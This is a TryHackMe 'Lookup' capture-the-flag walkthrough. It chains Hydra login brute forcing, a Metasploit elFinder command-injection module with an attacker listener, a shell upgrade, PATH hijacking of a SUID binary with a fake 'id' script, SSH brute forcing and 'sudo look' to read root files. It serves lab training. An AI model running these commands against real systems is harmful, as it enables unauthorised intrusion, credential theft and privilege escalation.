TryHackMe Lookup — From Username Enumeration to Root
Written By Aryan Giri
TryHackMe Lookup — From Username Enumeration to Root
The TryHackMe Lookup room is a Linux-based penetration-testing lab focused on web enumeration, username enumeration, password attacks, command injection, SUID-based privilege escalation, PATH hijacking, and abusing a misconfigured sudo permission.
The complete attack chain used in this write-up is:
HTTP
│
├── Username enumeration
│ │
│ └── Password brute force
│ │
│ └── Authenticated access
│ │
│ └── elFinder
│ │
│ └── Command Injection
│ │
│ └── www-data shell
│ │
│ └── SUID pwm
│ │
│ └── PATH Hijacking
│ │
│ └── .passwords
│ │
│ └── SSH as think
│ │
│ └── sudo look
│ │
│ └── Root flag
Reconnaissance
I started with a basic service-version scan against the target.
nmap -sV <IP>
The scan revealed two interesting open ports:
22/tcp open ssh
80/tcp open http
Port 22 exposes SSH, while port 80 hosts the web application.
Web Enumeration
When visiting the target directly through its IP address, the web server redirects to:
http://lookup.thm
This indicates that the application expects the lookup.thm hostname.
I added the hostname to /etc/hosts:
sudo nano /etc/hosts
Then added:
<IP> lookup.thm
Alternatively:
echo "<IP> lookup.thm" | sudo tee -a /etc/hosts
I could then access:
http://lookup.thm
The site presented a login form.
Username Enumeration
Instead of immediately launching a password attack, I first tested the application's response to invalid credentials.
For example, I submitted fictional credentials:
Username: test
Password: test
The application responded with:
Wrong username or password. Please try again.
This becomes interesting when testing different usernames.
A common web-enumeration weakness occurs when an application gives a different response depending on whether the supplied username exists. If the username is valid but the password is incorrect, the response may differ from the response for a completely invalid username.
To understand the request properly, I intercepted the login request with Burp Suite.
The request contained two parameters:
username
password
The request structure was effectively:
POST /login.php
username=<username>&password=<password>
This gave us everything required to automate username enumeration.
Brute-Forcing Valid Usernames
I used Hydra to test usernames while keeping the password fixed to a dummy value.
hydra -L /usr/share/seclists/Usernames/Names/names.txt \
-p test \
lookup.thm \
http-post-form \
"/login.php:username=^USER^&password=^PASS^:Wrong username or password. Please try again."
Here:
-Lsupplies the username wordlist.-p testuses a fixed password.http-post-formtells Hydra to attack an HTTP POST form.^USER^is replaced with each username.^PASS^is replaced with the supplied password.- The final string is the failure condition.
The results identified usernames including:
admin
jose
The password test was not actually valid. These were useful because the application's responses allowed us to distinguish valid usernames from invalid ones.
Brute-Forcing the Admin Password
I first attempted to brute-force the admin account using rockyou.txt:
hydra -l admin \
-P /usr/share/wordlists/rockyou.txt \
lookup.thm \
http-post-form \
"/login.php:username=^USER^&password=^PASS^:Wrong username or password. Please try again."
Hydra reported a password, but manually testing it showed that it was a false positive.
This is an important lesson when using automated password attacks: a tool's output is only as reliable as the failure condition supplied to it. If the application has unusual responses, redirects, or other behavior, Hydra can misinterpret a response as a successful login.
Brute-Forcing the jose Account
I then repeated the attack against jose:
hydra -l jose \
-P /usr/share/wordlists/rockyou.txt \
lookup.thm \
http-post-form \
"/login.php:username=^USER^&password=^PASS^:Wrong username or password. Please try again."
This time, the discovered password worked.
Interestingly, the password was also associated with the earlier admin result, but it did not authenticate successfully as admin. This demonstrates why credentials reported by brute-force tools should always be manually verified.
After authenticating as jose, the application redirected me to another virtual host:
files.lookup.thm
Enumerating files.lookup.thm
I added the new virtual host to /etc/hosts:
<IP> lookup.thm files.lookup.thm
The authenticated page exposed elFinder, a web-based file manager.
If the page does not render correctly while using Burp Suite, disable the HTTP proxy temporarily and access the application directly.
elFinder provides functionality for browsing and managing files through a web interface.
I then looked for version information by using the application's information/help interface.
The installed version was:
elFinder 2.1.47
This version was interesting because public exploit information exists for an Exiftran command injection affecting the PHP connector.
Exploiting elFinder
I checked the available Metasploit modules:
msfconsole
Then:
search elFinder
One of the relevant modules was:
exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
I inspected the module:
info exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
Then selected it:
use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
I configured the required options:
set LHOST <YOUR_IP>
set RHOSTS upload.lookup.thm
The module's default listener port was 4444.
To inspect all available options:
show options
I then launched the exploit:
run
or:
exploit
The exploit provided a shell on the target.
Getting a More Usable Shell
The initial shell was very limited, so I upgraded it to a more interactive Bash shell using Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'
At this point, I had command execution as:
www-data
Post-Exploitation Enumeration
I started looking around the filesystem.
cd /home
ls
A user named think was present.
I inspected the directory:
ls -la /home/think
Among the files was:
user.txt
However, as www-data, I did not have permission to read the flag.
There was also an interesting hidden file:
.passwords
This looked potentially useful, but it was not readable directly by www-data.
Instead of stopping there, I started looking for privilege-escalation opportunities.
Finding SUID Binaries
I searched the filesystem for SUID binaries:
find / -perm -4000 -type f 2>/dev/null
There were several standard SUID binaries, but one unusual binary stood out:
/usr/sbin/pwm
Running it produced an interesting message indicating that it attempted to execute id and then look for a .passwords file belonging to the detected user.
The important observation was that the binary was not simply reading /home/think/.passwords directly.
I needed to understand what it was actually doing.
Investigating pwm with strace
The compromised machine already had strace, so I used it to trace process execution:
strace -f -e execve /usr/sbin/pwm 2>&1
The trace revealed execution similar to:
execve("/bin/sh", ["sh", "-c", "id"], ...)
execve("/usr/bin/id", ["id"], ...)
The important part was that pwm was invoking id through the shell rather than relying on a hard-coded path inside the original command.
This suggested a potential PATH hijacking opportunity.
If we can control the PATH used by the SUID program, we can potentially make it execute our own id program.
PATH Hijacking
I moved to /tmp, where I could create files:
cd /tmp
Because the environment was limited and nano was unavailable, I created a fake id command directly with cat:
cat > id <<'EOF'
#!/bin/bash
echo "uid=33(think) gid=33(www-data) groups=33(www-data)"
EOF
Then made it executable:
chmod +x id
The goal was to make pwm believe that the current user was think.
I prepended /tmp to the PATH:
export PATH=/tmp:$PATH
I verified the modified value:
echo $PATH
Now when pwm attempted to execute:
id
the shell would search /tmp first and find our fake executable.
I ran:
/usr/sbin/pwm
This caused pwm to believe that the current user was think and resulted in the contents of:
/home/think/.passwords
being disclosed.
This was the key transition from the www-data shell to obtaining credentials for the think account.
SSH Password Attack Against think
I copied the recovered password list to my attacker machine and saved it as:
think.txt
I then used Hydra against SSH:
hydra -l think -P think.txt ssh://lookup.thm
Hydra identified the valid password for the think account.
I then connected through SSH:
ssh think@lookup.thm
After entering the recovered password, I obtained an interactive SSH session as think.
User Flag
I checked the user's home directory:
cd /home/think
ls
Then read the user flag:
cat user.txt
The flag is intentionally omitted from this write-up.
At this point, the user-level portion of the machine was complete.
Privilege Escalation: sudo -l
Next, I checked which commands the think user could execute with elevated privileges:
sudo -l
After entering the think user's password, the output showed that think could execute:
/usr/bin/look
with sudo.
look was unfamiliar to me as a privilege-escalation primitive, so I checked its known GTFOBins technique.
The important behavior is that look can be supplied with an empty search string and a file as its dictionary argument, allowing it to output the contents of that file.
The relevant syntax is:
look '' /path/to/input-file
Reading the Root Flag with look
Because think could execute look as root, I used:
sudo look '' /root/root.txt
This allowed the root-owned flag to be read without needing a conventional root shell.
The root flag is intentionally omitted from this write-up.
Attack Chain
The complete exploitation path was:
Port 80
│
└── lookup.thm
│
└── Login form
│
└── Username enumeration
│
└── Valid users: admin / jose
│
└── Password brute force
│
└── jose credentials
│
└── files.lookup.thm
│
└── elFinder 2.1.47
│
└── Exiftran command injection
│
└── www-data
│
└── SUID /usr/sbin/pwm
│
└── strace analysis
│
└── PATH hijacking
│
└── /home/think/.passwords
│
└── SSH brute force
│
└── think
│
└── sudo -l
│
└── /usr/bin/look
│
└── /root/root.txt
The room demonstrates how several individually small weaknesses can be chained together into full compromise: information leakage during authentication, weak credentials, a vulnerable file-management component, command injection, an unsafe SUID binary, PATH hijacking, credential reuse, and finally an overly permissive sudo rule.
The official TryHackMe room describes Lookup as a machine covering reconnaissance, hidden services and subdomains, command injection, automation, and privilege escalation.